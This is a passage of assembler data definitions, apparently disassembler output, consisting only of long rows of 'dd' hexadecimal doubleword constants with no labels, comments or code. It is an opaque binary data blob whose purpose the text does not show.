		dd 0C1794h, 0FECC47ABh,	2C13901Ch, 0C7BD7E13h, 41FEF0D4h
		dd 0E68426D4h, 0ECDC2A0Eh, 0D67E1CB4h, 0E409E0A9h, 909D63D2h
		dd 5ACB55B4h, 994A49Fh,	82EEB02Dh, 641084ECh, 0B8770908h
		dd 3473E60Ah, 46844A5h,	0CEB646C3h, 0D310B825h,	69B874A9h
		dd 0A4CB2A01h, 0C9752D6Ch, 9466E70h, 0DEB51D79h, 77842871h
		dd 98F1EAE0h, 0E40C0B2Bh, 0F2A404h, 97E2558Fh, 0C20951C0h
		dd 80589B7Fh, 7D028607h, 83393113h, 0D0D675A9h,	380046E2h
		dd 4DDE6382h, 1411A43h,	34BC2D06h, 7352D52Bh, 699700CCh
		dd 0F99D56F6h, 8A13001Dh, 4DAB17F7h, 5C262262h,	0A0984CEh
		dd 278C7A44h, 0D87A2FB5h, 0A08C44h, 47910ACDh, 0AAAE77C9h
		dd 1E03B402h, 5552D760h, 0D1F2D805h, 72747ED4h,	0D25F1284h
		dd 0B1A244ACh, 0B01E5040h, 67DD5E12h, 0B28C890h, 9D3E00F2h
		dd 0EA13CE55h, 4124169Eh, 6828A2B6h, 1C080C0Ah,	6E9D989Ah
		dd 4A7FE249h, 1798A04Ch, 0B72C0298h, 0C2E00083h, 0B13CD1CEh
		dd 60414E8Ch, 13FE6C46h, 669DA984h, 0DE2C4018h,	17033271h
		dd 0A9210BF5h, 51F22F8h, 0DC0A9401h, 0E80AEAB0h, 9612F8B1h
		dd 76A088h, 0D3655FCFh,	5981F61Fh, 0C919CC09h, 70E47B0Fh
		dd 160435FFh, 0CD3DB9D5h, 0C23C5C80h, 0A89F487Bh, 0B87F7584h
		dd 0EC528028h, 4CAAE480h, 9A1064DCh, 0F388693Bh, 0FF9770F8h
		dd 559A050Eh, 597741E4h, 222B9F87h, 0F4676D5Ch,	26199C4h
		dd 0FE092036h, 0AA67AC0Bh, 3C7A3Bh, 80094060h, 0B8F3FC56h
		dd 0FCA2AD4Ah, 0C8A94A8Ch, 0FE5726h, 0D891D792h, 0CE6A79E2h
		dd 2526B870h, 800B128Ch, 0F80AD002h, 44105909h,	0E0BD346Ah
		dd 585C2FA8h, 0E0DDCFACh, 0FBCA6C0Dh, 0FA3F4C1h, 0EB242E93h
		dd 0BC19E222h, 0AA50205Ch, 44C7B5F3h, 66600864h, 0C87AC559h
		dd 380B5C90h, 0FBA2EFC2h, 19085954h, 130D3A30h,	495BCC57h
		dd 507011C0h, 40186F97h, 1CE5B233h, 88C4F84Ah, 0A23503Bh
		dd 44D2CD00h, 24A99FD8h, 0B5880C3h, 9C11162Eh, 0ACC42FAEh
		dd 0E08254ADh, 0D5010892h, 0FEF85FB0h, 3859CB10h, 9387645Ch
		dd 60D0962Dh, 13C11ECCh, 0F955E28Ch, 275BC0ECh,	0F057098h
		dd 2D94ED1h, 3FE660C0h,	0E23CFB76h, 0ACB6CE0Dh,	0B25CA0E0h
		dd 0A4637000h, 6216DD38h, 8A334ABAh, 10245CA8h,	909685Ah
		dd 4460BE90h, 227161Eh,	0F6640914h, 0B80801FCh,	14A87D6Eh
		dd 55ACA8FCh, 78F82F8Ch, 2887FC59h, 0F440262Ch,	25C476Dh
		dd 1A8593F8h, 3857413Ch, 670A0610h, 0C4E43967h,	842BEE3h
		dd 5C51A83Ah, 0B8D4E960h, 8BE100DCh, 2C23223Ch,	2101635Bh
		dd 269076DEh, 997A97FAh, 0BC6C78C8h, 4D008C9Bh,	95A2E215h
		dd 3CA4FD07h, 0BA2EBD42h, 92D03031h, 48926931h,	0C8603B41h
		dd 0F448B5C2h, 0C49C9FC0h, 8B9807DCh, 0B08D823Ah, 9008CDD2h
		dd 580CFE31h, 242E8418h, 3E58C0ACh, 0E909E7C9h,	74B5759Bh
		dd 6017F6B4h, 0BC097445h, 0A5D07B78h, 0BD4F85Eh, 0DD37A099h
		dd 0A0B9E0C6h, 23C1D50Fh, 0F09E5216h, 30EC27BBh, 76A467CDh
		dd 16BD6E8h, 1A5C02F0h,	24CCF6F0h, 7C06094Fh, 0DFE86Ah
		dd 0B8C74F60h, 97472C2Ah, 554674D4h, 0A6F1E500h, 8576AE8Ch
		dd 51203A2Dh, 0ACB14568h, 64804A2Ch, 3122E21Fh,	1E285920h
		dd 583032C4h, 204ED0h, 0F4588CD5h, 0BC0107E3h, 7026740Ah
		dd 5492FE97h, 0AED66150h, 84B6CAF2h, 4A7D1C1Dh,	0DB5AC8E2h
		dd 268D8188h, 0F02A569Ch, 0CE957158h, 413345E4h, 90CF68h
		dd 9F6820C1h, 0F0EDBC89h, 6B0116C0h, 0F64670D5h, 13DD0907h
		dd 1C109E4Ch, 987DAE8Dh, 3C846C99h, 0F1BFB2h, 3298DD2Ah
		dd 0C2B8E73Ch, 5C4C41E8h
		dd 0F07770CBh, 454F4010h, 0EFF84895h, 0F2230772h, 188DF66h
		dd 0F444873Bh, 0B300D6D9h, 55178BEBh, 5CE2E9B2h, 0B47BA058h
		dd 60412FF8h, 8FB1439h,	9021EE4h, 0D80316E8h, 0DD5617BCh
		dd 0ED5CACA7h, 96BF30EAh, 4F2E019h, 0FC207E50h,	0C0C8970Dh
		dd 0F9820242h, 68DBAF10h, 0FE404D50h, 179117A9h, 8060EC51h
		dd 94996C86h, 4E7051Bh,	0F876E2EAh, 0F7DE8044h,	0F3D12B4h
		dd 0A7C427F3h, 6BCD440h, 9600C394h, 25FE8C55h, 986F6C35h
		dd 744401F5h, 4F6EFC22h, 0D4223B86h, 35FE109Eh,	0BAA93802h
		dd 0D3AC0902h, 68CA7000h, 37244A07h, 8325D49h, 7454C0A7h
		dd 0D2648054h, 309A1B20h, 2089F338h, 0FF2FA397h, 0B45AD6h
		dd 0F59DF623h, 26EF336Bh, 3966B800h, 76D3C769h,	0F10059Eh
		dd 0C35BC2C3h, 6AB057C4h, 0D1F993Bh, 7E71A0h, 0E67EC015h
		dd 433D49h, 5C312C7Fh, 0F1AE09F4h, 0A7F02590h, 91F09A03h
		dd 8065F3BBh, 9927BCh, 110ED26Ch, 0CED3EDCDh, 1B8F371Eh
		dd 0A63E8380h, 9D26A1h,	7AC57C09h, 4A6250EEh, 0ADD09E1Eh
		dd 0CD648487h, 9637BDF0h, 2C0400E6h, 574A2D63h,	0FC00D1EAh
		dd 0E824F130h, 4E69B6h,	0E520BF48h, 0DB123ECBh,	97511D00h
		dd 6E9B5017h, 363A09F1h, 0F9805C0Dh, 757E3DA2h,	0FDF34000h
		dd 220E29B4h, 8078DE8Eh, 46785C2Bh, 0DA00792Ch,	0FBF11C52h
		dd 1E89414Fh, 40D67F1Fh, 0D1E3CFAAh, 3400E548h,	0F217CA2h
		dd 7DCE998Eh, 0D6381590h, 6348E813h, 6E178F0Eh,	8394C64Ah
		dd 2B8B7CFAh, 0F4ECFEB1h, 2F3897E5h, 0FC007D39h, 0CF25BE02h
		dd 2FC0B946h, 0F3E2E64Bh, 4E828C5Ch, 80531BDFh,	0DAECC0E7h
		dd 8DFE05h, 0DDD6CC7Bh,	8C21B608h, 0C2F84528h, 6454EF7Ch
		dd 0E62802ACh, 11C0A717h, 7B74317Ah, 0D9F001Ah,	73407D83h
		dd 21CE91BBh, 6BD22195h, 23D8DF8Fh, 4E1A0017h, 85CC6189h
		dd 0DB73AC38h, 72139B0Fh, 0C56A0012h, 123CAB1Dh, 400C6DB8h
		dd 534DDC4Ch, 0F2007AD8h, 3FBDA715h, 0D3509h, 0D504F1FAh
		dd 0E6B1E43Ah, 78B90A30h, 0E7D0D8h, 85C2D9F7h, 3A9FBB55h
		dd 0E5743200h, 5193E164h, 33B80027h, 0F58F3C6Ch, 0CA0091E8h
		dd 446E7890h, 0C81408h,	68B721A3h, 0AB9C2EFCh, 0C0F61028h
		dd 1AC23Dh, 0E14FDB7Bh,	9B0FB7h, 39AE1125h, 0DC9049DFh
		dd 46F7CE00h, 0CCF46CDAh, 0C00300C4h, 712856F8h, 54009031h
		dd 0B1C26816h, 1C8B43EFh, 0E6516A2Eh, 0A89E943Ch, 6CA03A80h
		dd 1D00E223h, 0E774A9B6h, 903BCC5Ch, 47FC018Ch,	0A71F8131h
		dd 9A0024A0h, 43B13D0Fh, 8AAB80D3h, 0E6BB3220h,	89071E54h
		dd 0C0609CEEh, 0FAEF7BA2h, 10900845h, 3400AF42h, 245119DFh
		dd 0EC00C4A6h, 4F1BDB1Dh, 3462095h, 0DD41F403h,	0FCF8D228h
		dd 50C08DA8h, 0F665058Ah, 6BE826BDh, 0A9170004h, 0EBE9DA64h
		dd 0AC18E10Fh, 4219A00Dh, 0D92ED7h, 39B41141h, 0E95EB524h
		dd 3DA1D00h, 4ED0B119h,	0EC0C004Fh, 58489871h, 0C77FACF4h
		dd 0DD3D1F00h, 2B70AA34h, 20C4000Ah, 9929BA6Dh,	6300C1E8h
		dd 3F66CA48h, 0B06E1EEBh, 0A8FF0016h, 0D7703C67h, 8800D1CBh
		dd 5E160D98h, 3D36AC46h, 34376048h, 704DA038h, 11C090B8h
		dd 42D39296h, 744B625h,	10F373EBh, 5D763195h, 13F2D203h
		dd 0C8AD5ABDh, 0C320DEh, 0D967FF40h, 645EF7AEh,	65479000h
		dd 13DBA818h, 7C700069h, 765967F1h, 624C4204h, 0EFE47B05h
		dd 1B7D1DE2h, 899F41Eh,	369DBF80h, 0DF498D67h, 65504090h
		dd 79F09474h, 0D7ED1213h, 0A3672830h, 5EC900A5h, 8F04FEEAh
		dd 0F100022Ah, 0D73C5BA7h, 122F6E72h, 10B027ECh, 79128089h
		dd 0FE28C0D1h, 41010EE3h, 2E5D618Fh, 8C705CB3h,	478658FBh
		dd 40609318h, 0D918B7A4h, 441092C3h, 0F6D60173h, 828E97A1h
		dd 0EE28800Ah, 5AE6BC24h, 63180043h, 4F6F55D9h,	0D090C1E5h
		dd 0CE698104h, 7892917Ah, 98AC93E9h, 0ECF19h, 24DA9BF6h
		dd 88FF4236h, 0A1002090h, 348E08FDh, 0C50FA0h, 2155EB7Bh
		dd 45D3059Dh, 0A113C400h, 28E066B5h, 0FE11FEA3h, 3B54797Ch
		dd 0D28395DEh, 896C17F6h, 3E02B000h, 50F54BD8h,	40C70FF1h
		dd 39E0C022h, 0BCC89AE3h, 0EFD88200h, 0ADF4F36Dh, 1E3F0043h
		dd 0AEFACCB2h, 0DD079CDFh, 50B0E015h, 0E394F4D3h, 0F08EE836h
		dd 0AC1000B3h, 0EB44E37h, 6E00E99Eh, 178244E8h,	0E6B875Ch
		dd 60D88D72h, 1EE6E100h, 69030783h, 5FA38C73h, 29510F4Ch
		dd 0E60FCF75h, 6D963D20h, 9C006705h, 79D6C28Ch,	0EC6AE921h
		dd 0A0880042h, 62B61FC1h, 0F6070367h, 0EFDE9268h, 39A6FEF1h
		dd 5088BC60h, 0A00FC81Bh, 0C08113BEh, 4D6CF519h, 0EEA3204h
		dd 14DC5D07h, 0CBA03AAAh, 58E4E10Dh, 0CC009970h, 0FF673CE9h
		dd 23712560h, 300F3B0h,	8536B41Ch, 58D94CA3h, 0A603FAB8h
		dd 0F86D0719h, 0AD65A288h, 0E9FEF092h, 0C848209Dh, 4DB999h
		dd 2DE0084Fh, 904EAEEFh, 28409100h, 0F6E72676h,	9AC703D8h
		dd 3E63BC52h, 0DC386088h, 0DFC19F00h, 74A86676h, 6EC3012Bh
		dd 0ECD19810h, 161C7981h, 94E93CCEh, 0B1790400h, 0B5231974h
		dd 2C6B577Eh, 0F030F018h, 11286704h, 3F27805Bh,	9B034415h
		dd 4F1267ACh, 6D4900B4h, 0D40E5026h, 0F06030BEh, 4AA31D20h
		dd 19DF099h, 93F4C8D9h,	911C83EAh, 0FE034738h, 535BE53h
		dd 0C154FFC0h, 77083B50h, 9A166C00h, 9814099Bh,	84EC28D4h
		dd 34920F64h, 9363C469h, 90E0C8D1h, 3212C6DBh, 1095AB7Eh
		dd 0E6006CACh, 445BFD53h, 0F83B19E1h, 47E006Eh,	0ABA96CB5h
		dd 5C400067h, 293D4DFCh, 5278EFF9h, 0D21FDD00h,	8DCA6F47h
		dd 47F1F0Eh, 0DAA10025h, 27841369h, 0D9EBCD01h,	3E6ED2DDh
		dd 25E366F0h, 0E476F836h, 1D20C46Bh, 0EE12BFE7h, 162B006Fh
		dd 0E07D65ABh, 0A9DE341Eh, 0B94945CCh, 0C7C0002Eh, 7C37221Fh
		dd 0C31686ECh, 74B0D258h, 13CE0453h, 0B54C983Bh, 30883E8Ch
		dd 0FC07001Bh, 0FEB97C0Bh, 4D00ACE0h, 0B2689201h, 9CA93DEh
		dd 0FFBB1C63h, 0DCD8D6h, 8B149CACh, 0F5283B53h,	0FE2D4700h
		dd 76340129h, 0E80B041Ch, 0EFABAAEAh, 5623F43Ah, 0D613540Ah
		dd 556A9D00h, 0B8518F6h, 42AD70CBh, 0D270A873h,	8E6014A9h
		dd 9003FE6Fh, 6C720181h, 0E474D90Bh, 0CF218255h, 408854C0h
		dd 0B741B538h, 48C8B612h, 0C7734B4h, 941E4AB0h,	0B6128DE1h
		dd 94FC1178h, 0B874FD97h, 0ABA4009Ch, 0ED2959B1h, 72093C94h
		dd 7E53DF63h, 3777699Ch, 0C1820230h, 84D72120h,	0E2426784h
		dd 982083D2h, 0BF4E1C0Ah, 6943A822h, 60684D55h,	4A667057h
		dd 0BF077BF4h, 0EC55D5A0h, 5F5810C2h, 294EBC94h, 3ACA9821h
		dd 4C6B5600h, 9DD96E04h, 0B08085E5h, 970F31C8h,	1C0258E4h
		dd 59083E07h, 8C9877CAh, 0C89D7448h, 0B75DD748h, 0F600DCC7h
		dd 0BAF5E4F9h, 0CDBF32h, 0D99AA4C0h, 6FB215E4h,	2208A0ADh
		dd 0C6274C78h, 5E70B6FCh, 82000C46h, 1F784589h,	0F85B1A98h
		dd 669DE405h, 0AAC4400h, 0C0552h, 0DA3897ABh, 71589D6Fh
		dd 6813820Fh, 0FE1606Dh, 97700981h, 7DEE44ECh, 2510419Fh
		dd 2864BE04h, 84BCF8A8h, 0DA90048Ch, 0ACFF0136h, 57C8C10Ch
		dd 0FD021556h, 0B84C905Fh, 0D5F90BE0h, 4C67BAECh, 0C4601944h
		dd 0C72FDAE2h, 0B08C258Bh, 0F9DC12BAh, 0DDFB8B4h, 879BC2E4h
		dd 208C2F51h, 8C26882Bh, 843270h, 951D49FEh, 0FDD5C918h
		dd 0D093E500h, 1AF848A4h, 9309E10h, 607CF149h, 8400CA48h
		dd 918E32BDh, 2CE197D4h
		dd 0BC76082Ah, 4BCA4194h, 2BE04ABh, 9A847E38h, 261434F6h
		dd 0C2640414h, 0D49F18Fh, 8860D8EAh, 8095A257h,	0BEE259CCh
		dd 87CC2D90h, 0C51E0040h, 341C2AB5h, 2D4E6408h,	0F35A8870h
		dd 21570C8Ch, 0FF043CE6h, 3B0B6941h, 0DDE83C13h, 5A01C9D9h
		dd 5CEC58CAh, 86CC9EC0h, 12A1B0AEh, 0FC662FA4h,	0CB74C214h
		dd 98485F9Fh, 1227E897h, 170D9F1h, 7C19BFEAh, 4096A52h
		dd 400CF66Dh, 81D073EFh, 0ADA30200h, 47612158h,	1FB30793h
		dd 0C02475B2h, 0CFEA1838h, 8007B0A1h, 31349039h, 24B4F3A5h
		dd 96543F44h, 0CE00A0C9h, 5181E763h, 0FCFCCC02h, 9A85FA88h
		dd 4CECB03Ah, 83A2EA0Bh, 170270D4h, 0FFC2E8AEh,	1082D811h
		dd 65BE9877h, 0C52E58E1h, 0D70CA06Ah, 0A1E4989Fh, 951898E9h
		dd 3DC6084Dh, 0DC90B438h, 129C374Dh, 6FBE666Ah,	1552354h
		dd 767EB929h, 99462E0h,	0F1F7EBB6h, 0FFF4D820h,	0C2910086h
		dd 2A0C5C8Ah, 0BA05A706h, 4EB00833h, 123F80F1h,	46EBF40h
		dd 40EF6800h, 0BA02FB98h, 4B0235Bh, 8C519769h, 42FE1E92h
		dd 16D26F14h, 665B8448h, 9FC91B60h, 4F0E69h, 2B811770h
		dd 9D53C90h, 0CE5FF702h, 5F31EDAAh, 0B9CC9C04h,	0E8791658h
		dd 0D3AC88F9h, 0DA99C200h, 0F05AC589h, 3CAA4990h, 0C806773Bh
		dd 0C1994D7Fh, 10FCECA1h, 413BBA3Ch, 0C0CC7EA9h, 33D218E4h
		dd 0B00A1986h, 1CF65E4Fh, 0CD2BDB02h, 0F0602F6Bh, 5F8A7FE3h
		dd 73AF1017h, 53095050h, 338A470Fh, 240E3622h, 0D4271046h
		dd 9E1A38C8h, 66036201h, 89E234C3h, 2DC4C034h, 4CF9B67Eh
		dd 74490D44h, 2C4450D4h, 0B80034BFh, 131320F0h,	0B082B009h
		dd 33027C98h, 55C25B38h, 64507EA1h, 6B9A0811h, 72D41C76h
		dd 8BF9040Ch, 0BE9D77E2h, 6AC9F071h, 9087A3Ah, 57A79EB8h
		dd 3D012C90h, 0F3C36E25h, 6B391F0h, 5F403A98h, 0C3BA2481h
		dd 96B1840Ch, 0DCD4ABB0h, 0A904C5AEh, 0ECC9B8CCh, 0DE901386h
		dd 0E3DCE669h, 63F88821h, 175F12ADh, 3E70E127h,	0E8E4944Bh
		dd 887EE024h, 72258576h, 9CD03DA4h, 0D07B00C8h,	38693D05h
		dd 6DE35F04h, 3FC61A85h, 0F8CC4A58h, 20BBD308h,	91B99E98h
		dd 0E384A00h, 0D3973B8Dh, 0DD3A25B5h, 4F626476h, 60E85DD2h
		dd 8D41BBBAh, 0B29820h,	2C60209Dh, 0CFA4D6E7h, 41C0E916h
		dd 0E0214C13h, 49BC7406h, 44A4C04Eh, 1A6367D4h,	808DC121h
		dd 0D5DF3Eh, 8F7D34BEh,	47CB1ED3h, 0FD33EC1Fh, 0BB92399Ch
		dd 23602FEFh, 97823883h, 20A994AEh, 7DC8325Dh, 84911817h
		dd 590FBD80h, 765BC5C2h, 0D00184A6h, 6B3BA53Ch,	204A2B6Ch
		dd 0DA25F097h, 0B2E41704h, 5BF4F8CFh, 41214B3h,	0E443EAD2h
		dd 5874229Ah, 1B187831h, 0C8721987h, 5528E29Dh,	0AEC044CDh
		dd 0E96481h, 986699EBh,	9B79E255h, 7445F525h, 0B8E680F4h
		dd 8F4A04CAh, 0A039D800h, 0DAE489ABh, 0B4805A03h, 8616E868h
		dd 98BD97FCh, 461F6CBCh, 0D513B598h, 7B80BCFCh,	0A0D3507Ch
		dd 272B6A01h, 1D5FE7E9h, 20FC7E4h, 4F065C56h, 6D7705FFh
		dd 43BAC0A8h, 0FB504E73h, 8E4B7BC4h, 257CD4E7h,	5807EFC2h
		dd 897DC0B9h, 41242036h, 230280C1h, 0FC9ECC50h,	17465E40h
		dd 8D195A00h, 0D15D7EB0h, 32398102h, 0E9C26C46h, 353F5F70h
		dd 84488E64h, 6430FC08h, 5B025CECh, 0CE4FFB44h,	6C7E0Fh
		dd 0BB743BBCh, 0AF3C0624h, 0BA9B02C7h, 0FFCA17D3h, 65705422h
		dd 9F4CDA21h, 0BFFC247Eh, 5E15A431h, 8290DB6Fh,	63C0FB14h
		dd 2CFCB4F4h, 3EB825B1h, 97B34428h, 6B6148CFh, 4E7AD6C0h
		dd 3400A2B4h, 3E632937h, 41AB6A00h, 5B4B2F75h, 0C8F83CFBh
		dd 2BD6CA0Dh, 0C0DB7F31h, 2D8A980h, 0FB0B3866h,	0FC41AE21h
		dd 7CD925A8h, 0BFB17D7h, 481F44B4h, 6800463Fh, 6EB16608h
		dd 134C811Bh, 7C2098Ch,	0C1677F5h, 13DA9C22h, 414DE28Dh
		dd 3AE01F14h, 68177FA4h, 81228CBCh, 9E900816h, 184BCCB1h
		dd 0F3F06E13h, 0C068B79Ch, 0B17B0299h, 0C4982626h, 0EC804018h
		dd 3A4D0960h, 74F12136h, 53B8C782h, 0F89ADDB0h,	0F578DC71h
		dd 100286FFh, 2BD8F86Bh, 30DEC029h, 0C3A129Ah, 0C9D4ED41h
		dd 0C8C08FB1h, 5E1E0BFEh, 0F57F8887h, 2C6EEAFCh, 6B90ED00h
		dd 0EBB73FEAh, 0E0A72B8h, 0A8020AB0h, 0BF6CA02Dh, 4E7D2B38h
		dd 0CF84F8C0h, 1D0549C8h, 80151194h, 0AC1FE12Fh, 0CA1E277Ch
		dd 3F02F811h, 5F71E892h, 2140BC15h, 2D6D2FFh, 0C6E019BEh
		dd 64DE6677h, 54EB8D09h, 75F961B8h, 50886F7Fh, 0B16660D7h
		dd 0BE94FADBh, 2716E638h, 1E58E409h, 0E7C29FC8h, 0A1DF74EAh
		dd 339EC668h, 0F94B5C69h, 0BD97ACBCh, 2F0E9041h, 710BD8A7h
		dd 0C87043ABh, 123A4Eh,	0E93EF888h, 3F05DC29h, 0BE5E903Bh
		dd 786E1856h, 72BD550Fh, 0EC5202A0h, 0AC27EF94h, 0CF8CC844h
		dd 79F100FAh, 0D5265BB0h, 0BD0B4E34h, 7C625EEEh, 0FE99C330h
		dd 0F1F8592Dh, 89398C34h, 5E03E019h, 0EF770824h, 279CB8CEh
		dd 0BD96E62Eh, 0C35DD002h, 5FCC1048h, 67783A9Fh, 0C9D14E98h
		dd 0F8B4C077h, 252C3422h, 9424BB59h, 13C800FBh,	0C2AE4FBEh
		dd 0D48A8D13h, 4FE33CE0h, 0EE108599h, 10231C3Eh, 0E9BE7000h
		dd 1383116h, 0A39F846Fh, 2B268F7Ch, 0DBEB4084h,	1CF8FF0h
		dd 72016340h, 60ED4840h, 94C5B7A0h, 16FCC810h, 0F545178Ch
		dd 198808B5h, 37FF81BBh, 0F252BA4h, 0B8F3B243h,	0E508D5h
		dd 0D22C7936h, 0DAE2B5C2h, 0B8836F5Ah, 0FFBA99B6h, 45E13030h
		dd 802C6C57h, 0FB842886h, 0C8821C47h, 51F807Bh,	3F6EBD90h
		dd 55130C04h, 84BFD5E1h, 401C9920h, 0C145685Ch,	919FECA0h
		dd 5F5F3888h, 2628E02Eh, 624E2891h, 5755E073h, 15AF0865h
		dd 0FC0F88F4h, 7D58A61h, 0CCC283Eh, 8897D58Ah, 72805791h
		dd 5BF0C839h, 0BA9C4109h, 82ECF30Bh, 0AB26C26h,	0EEDC22D5h
		dd 818505E1h, 6DC61E18h, 0F6B1035Ch, 0BF0BA98h,	46742620h
		dd 5F5BE058h, 98C13CE2h, 132CD03Ah, 0F625ACE5h,	0DB10A7ACh
		dd 2FF5D74Fh, 0B04B3907h, 0F060E4E9h, 1205F082h, 0D2025F97h
		dd 1688F486h, 41A03B10h, 9A18CCD0h, 0A2C0233Eh,	99CF3013h
		dd 6D68EA00h, 3B1A17C5h, 62335AA8h, 75C14B34h, 0D73889D1h
		dd 0BCF08Fh, 4959BA9Fh,	0FAAAF727h, 0F22D7439h,	32978300h
		dd 8ED3CC52h, 7170086h,	2EBF2BA8h, 0C90F5DE4h, 80873D64h
		dd 0A2328FD6h, 7F9000Dh, 5D0C693Bh, 5501CDF4h, 0F4E4DB5h
		dd 0A2C830EFh, 217C00E2h, 0FDDFF1FEh, 82005C9Ch, 34600F9Ah
		dd 0D91743h, 0FA497BCBh, 72960CF8h, 98C5DA00h, 6C3B79E3h
		dd 0EC4200D2h, 3E3289E0h, 950057F5h, 20EABDDh, 0E553D4h
		dd 17ADF779h, 0FD47FE87h, 8F9C693Dh, 0E06ED65Ch, 0C7FCFA90h
		dd 77FE208h, 67B97DC5h,	0F354113Eh, 35D760C6h, 90AEAA07h
		dd 9C00B663h, 3BC0153h,	4B4139F1h, 78B0C466h, 650398E4h
		dd 2A1E60FAh, 153FE9C5h, 284EEDCh, 2554FD28h, 81E347CBh
		dd 9E81A190h, 5B393100h, 8C59CEEAh, 1DCC0023h, 84D7B83Ch
		dd 613AFA22h, 0AD25002Eh, 67F32831h, 5AEA00AAh,	33DD9324h
		dd 1A09B174h, 25488DFCh, 0B0213C30h, 0F39970h, 0C8237A80h
		dd 6BA57E6Fh, 0D235BA0Ch, 0B1AD68ACh, 4D1C0060h, 32ED0D50h
		dd 49A1EA00h, 51468397h, 0A3EC0131h, 533919DAh,	27B2FCF6h
		dd 870D0F00h, 455CA8D5h, 361B1312h, 0B2A00B9h, 3891AEEFh
		dd 2F0E0C00h, 7F7E8839h, 0DBAC38BAh, 1224C04Fh,	96C0FD4Ah
		dd 0B8E84451h, 8CE10617h
		dd 0B971030Fh, 5D5CC500h, 276AC234h, 3D9C709Ah,	0FF007D48h
		dd 0CCB9D1D9h, 0AB58F2ACh, 18800CCh, 27C09431h,	22CE009Bh
		dd 43D36CFDh, 64003785h, 0ABFE7473h, 1C9E1066h,	0F280147Ch
		dd 0C0FDF268h, 37615h, 0E45F2829h, 48AE3FD4h, 36945350h
		dd 39A23D44h, 0AC01C11Bh, 0D7951D71h, 98003E80h, 42F20684h
		dd 0DB3109D6h, 44F86DC7h, 36F13901h, 8DD2CC82h,	24F4B3EDh
		dd 51A0134h, 0C6BF2F95h, 2E804073h, 0D1608546h,	6A1AC0B2h
		dd 0E29C00F3h, 0EFE938B2h, 4700DD19h, 0FDF6446Fh, 0DC06C3h
		dd 7012F367h, 53B254CCh, 2AB7806h, 22B811DDh, 1D3F14A2h
		dd 17068C4Dh, 0E16899FAh, 27B0C0h, 31F4559Fh, 8B6984EFh
		dd 252DE4FFh, 1AA62000h, 0FE46C186h, 6BEB0034h,	0B6506C73h
		dd 6F0059E6h, 0B413C387h, 3F909EDFh, 0C800E3F9h, 0FB97C93Fh
		dd 51012EFFh, 45FDA6CBh, 46DCBEE1h, 897840h, 0C8D8B0B5h
		dd 1D01CAE4h, 521EDA01h, 0FB91F121h, 77E40E3Bh,	8E8FCF40h
		dd 6902BC4Dh, 7E80029Fh, 34947C41h, 1C94ECC9h, 10F045A8h
		dd 4AF031Dh, 0F1028216h, 0E895816Bh, 0FA3C25DFh, 50D9B840h
		dd 85046E00h, 7D49C365h, 0FF21C063h, 0BE79A2FBh, 2CAA8007h
		dd 0E0316B64h, 706DB938h, 83309E00h, 4595F627h,	3247FF00h
		dd 0D0E2CEACh, 74D7D63h, 145AC270h, 958700BFh, 0C1F8EF02h
		dd 0C5BD2200h, 9EE23441h, 1A520020h, 0CD768E5Bh, 0A0E4AF59h
		dd 7A711002h, 43F3F858h, 0C1F6FB6Ch, 1F8E22Fh, 0ECC400A7h
		dd 190FED22h, 8D0E6E83h, 2009F74Dh, 51C9057Ch, 3DA8131Bh
		dd 0FC382021h, 9D002261h, 0BF2DD2A7h, 241CA172h, 84954h
		dd 615A6D01h, 7900DF8Fh, 1A45582Eh, 0D4F813h, 184ECE39h
		dd 0DEFCB44Ah, 5F717900h, 0FF57E87Ch, 0C8B06E06h, 0F4585580h
		dd 3000FB68h, 42F5698Fh, 0F2F3C4E4h, 63F80725h,	23BF49D5h
		dd 1FE8216Eh, 0A009B48h, 0EBB17876h, 76358h, 6DF30F3h
		dd 0D3C443DEh, 730B1C01h, 0AC74BED4h, 3700406Ch, 41D2179h
		dd 0B650DC3Bh, 0D6007E94h, 0F9470199h, 0F8AF37AAh, 0A9ED0083h
		dd 22CADF4Ah, 3E00AC16h, 0D2230D86h, 50FFF6h, 5B209670h
		dd 454B5E7h, 8534A03h, 0C0B9E62Bh, 0D7CE97h, 68B2BE2Ah
		dd 7FF46323h, 0AC46CC0Eh, 0F48132B5h, 0A0201532h, 8000B5E8h
		dd 9E4B2DD4h, 80C05538h, 10BE0996h, 902AC5AEh, 34110230h
		dd 0CB229F68h, 0E04AC860h, 8206CE18h, 157C40h, 89EA4F04h
		dd 91654E2Dh, 0C268071h, 0F9F5482h, 7C40C412h, 466C0662h
		dd 1E280096h, 0B384C9B7h, 64909838h, 8B723A00h,	35A3F64Ch
		dd 9F8A250Ch, 0A50078F2h, 0D0B52D90h, 28D88465h, 28E4B3C1h
		dd 0E6A86D0Bh, 0DAF405E4h, 0C38B9BC0h, 0B5B83595h, 5505D48Fh
		dd 70A9DB97h, 668FAD1Eh, 80760EC3h, 748E12A6h, 169B0005h
		dd 364273CBh, 0BE00F387h, 0BFC68D5h, 0F692FDBDh, 3F90091h
		dd 7D30622Fh, 0F42DB993h, 0B4664Ch, 941DF9F7h, 0A9F0F639h
		dd 9B076090h, 21408E04h, 1EB69AC0h, 0FA950067h,	0B0209C50h
		dd 30005214h, 0BBFF0963h, 14B0DBEh, 9D04538Eh, 0D827992Eh
		dd 4900E7C6h, 0DB14D8A8h, 0C1A7B6h, 0A45ADFE9h,	6F9E2CCDh
		dd 0E8D0D62Ah, 1FE2A1F0h, 61DE2B01h, 0DC80AC1Ch, 17A9DCh
		dd 3B3301BFh, 58937340h, 0A81C1902h, 60C412DAh,	0A0D79B75h
		dd 2F7D9D4h, 0BD373448h, 29407D1Fh, 0C900A3E8h,	82CF42DDh
		dd 0A7B780h, 4F6EB1E9h,	9C3687E5h, 6A698100h, 30D5055Bh
		dd 7DC90118h, 0BFF48A4Bh, 70FDF8EAh, 940C6F30h,	12E446E1h
		dd 0FD20BACCh, 0A5B302D4h, 4835DFDEh, 1F93118h,	9FC3243Eh
		dd 0DC798701h, 0DC3065A1h, 0F87489DAh, 126400ADh, 0AEC80999h
		dd 0AC2CD53Ch, 0D00FA4Ah, 0F41D70EBh, 295882h, 8F9D7F1Eh
		dd 9347C669h, 7E3341DCh, 169429ACh, 0F0F43BFEh,	23611275h
		dd 0F05DEBB5h, 5DC14A05h, 429C101Ch, 3C43973h, 0CC6D150h
		dd 6BF8D790h, 0A502F5AAh, 7CEE3DB2h, 95CCC09Ah,	7D7600CAh
		dd 1908CD1Ch, 334F9023h, 6BEAB8D1h, 708077F5h, 7C65B186h
		dd 0D31493ECh, 293C5CFEh, 0AAC24809h, 28663843h, 5F72E13Fh
		dd 7A28A0h, 0F9738E9Ah,	80E06ACDh, 0E1576800h, 0A8F11F2Bh
